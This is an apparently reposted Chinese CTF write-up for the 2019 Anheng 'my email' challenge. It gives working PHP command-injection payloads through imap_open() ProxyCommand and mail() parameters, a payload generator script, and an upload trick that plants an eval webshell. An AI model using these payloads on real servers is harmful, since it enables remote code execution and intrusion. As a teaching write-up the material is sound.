内容简介:本题为2019安恒2月月赛的my email,从漏洞点发现到getshell还是有点意思的,以下是记录发现是文件上传功能我们测试一下,随意上传一个图片,查看一下源代码,发现
本题为2019安恒2月月赛的my email,从漏洞点发现到getshell还是有点意思的,以下是记录
信息搜集
拿到题目先看一遍功能,发现存在注册和登录功能
随便注册个账号,登入,得到信息
发现还有完善信息页面
看样子需要邮箱授权,我们随便测试一下
虽然提示我授权失败,但是来到主页,已经完善信息完成
发现增加功能:更换背景
http://101.71.29.5:10014/user/upload.php
发现是文件上传功能
我们测试一下,随意上传一个图片,查看一下源代码,发现
body{ background-image: url(./user/skysky.jpg); background-size: 100%,100%; width: 100%; height: 100%; }
得到上传路径与命名规则
$dir = './user/'.$username.'.jpg';
不难发现,最后保存路径存在可控点$username,我们进行二次注入探测
注册用户
skysky.php%00
登入后发现用户名变为
skysky.php\0
猜测应该注册处存在
addslashes($username)
那么应该很难使用$username去上传shell
攻击点思考
目前来看,情况僵硬,必须思考一下如何串联上述功能进行攻击了
既然不是直接upload+register进行getshell,那么势必需要用到邮件功能
不妨google一下
php+mail+rce
发现如下两个函数
PHP mail() PHP imap_open()
为进一步确定方向和攻击点,我们看一下邮箱处需要的参数
我们再看上述3种和邮件有关的RCE
首先是
PHP mail()
我们知道其参数为
bool mail( string $to, string $subject, string $message [, string $additional_headers [, string $additional_parameters ]] )
这里的界面应该类似于写邮件,例如
而漏洞点即在于mail函数的第五个参数没有正确过滤,我们可以通过如下方式进行RCE
email= -sky@skysec.top -OqueueDirectory=/ -Xskyskysky.php title= <?php eval($_GET[sky]);?>
而这里我们的参数为
email,sign,server
功能为邮箱授权,感觉有些对不上号,我们再看看 imap_open()
imap_open ( string $mailbox , string $username , string $password [, int $options = 0 [, int $n_retries = 0 [, array $params = NULL ]]] ) : resource
漏洞点在于第一个参数 $mailbox
详细解析可见
https://lab.wallarm.com/rce-in-php-or-how-to-bypass-disable-functions-in-php-installations-6ccdbf4f52bb
imap_open()攻击测试
于是综上所述,我们将目光放在imap_open()上开始测试,我们可利用如下脚本生成payload
<?php $payload = $argv[1]; $encoded_payload = base64_encode($payload); $server = “any -o ProxyCommand=echo\t”.$encoded_payload.”|base64\t-d|bash}”; print(“payload: {$server}”.PHP_EOL);
例如
any -o ProxyCommand=echo\tbHM=|base64\t-d|bash}
我们测试一下,由于imap_open是 php 的扩展模块,我们这里选择找个 docker 测试
随便搜一个
docker search imap
选择一个后pull
docker pull fedosov/docker-php-imap-composer
进入容器进行测试
docker run -itd fedosov/docker-php-imap-composer /bin/bash docker attach id
先写一个带有imap_open的1.php
<?php $payload = "echo skysky|tee /tmp/success"; $encoded_payload = base64_encode($payload); $server = "any -o ProxyCommand=echo\t".$encoded_payload."|base64\t-d|bash"; @imap_open('{'.$server.'}:143/imap}INBOX', '', '');
我们可以明显看到,运行前tmp目录为空目录,运行后,tmp目录生成了success文件,文件内容为我们指定的skysky
这样一来攻击点就清晰了:利用邮箱授权功能往 ./user/
目录写入 shell 即可
注:为什么不执行命令呢?因为这里命令不回显……写shell的话要方便很多
题目攻击点测试
生成payload脚本为
<?php $payload = "echo '<?php phpinfo();' > /var/www/html/user/sky.php"; $encoded_payload = base64_encode($payload); $server = "any -o ProxyCommand=echo\t".$encoded_payload."|base64\t-d|bash"; echo $server;
得到
any -o ProxyCommand=echo\tZWNobyAnPD9waHAgcGhwaW5mbygpOycgPiAvdmFyL3d3dy9odG1sL3VzZXIvc2t5LnBocA==|base64\t-d|bash
我们测试一下
发现参数不被允许提醒,此时猜测是不是存在过滤,我们测试一下
发现
base64,|,\
均被过滤,那么既然如此,该如何进行任意文件写入呢?
upload助攻
此时不难想起,之前还有一个上传功能,路径如下
$dir = './user/'.$username.'.jpg';
我们是已知文件名和路径的,那么能否在文件内容做文章,进行运用?
这里不难想到,可以直接使用bash filename
例如
那么我们只需要构造文件
echo 'echo "<?php phpinfo();"> skysky.php' > skysky.jpg
然后上传skysky.jpg,再利用imap_open() RCE即可
any -o ProxyCommand=bash skysky.jpg}
我们测试一下
发现成功执行phpinfo()
getflag
那么故技重施,即可getshell
echo 'echo "<?php eval(\$_REQUEST[sky]);"> skysky.php' > skysky.jpg any -o ProxyCommand=bash skysky.jpg}
菜刀连上,即可getshell
后记
这道题目再一次说明了思路很重要,如果思路不明确,尝试注入,upload等则很容易被这道题目带入误区XD
文章首发于安全客 https://www.anquanke.com/post/id/171707
以上所述就是小编给大家介绍的《从一道题看imap_open() rce》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。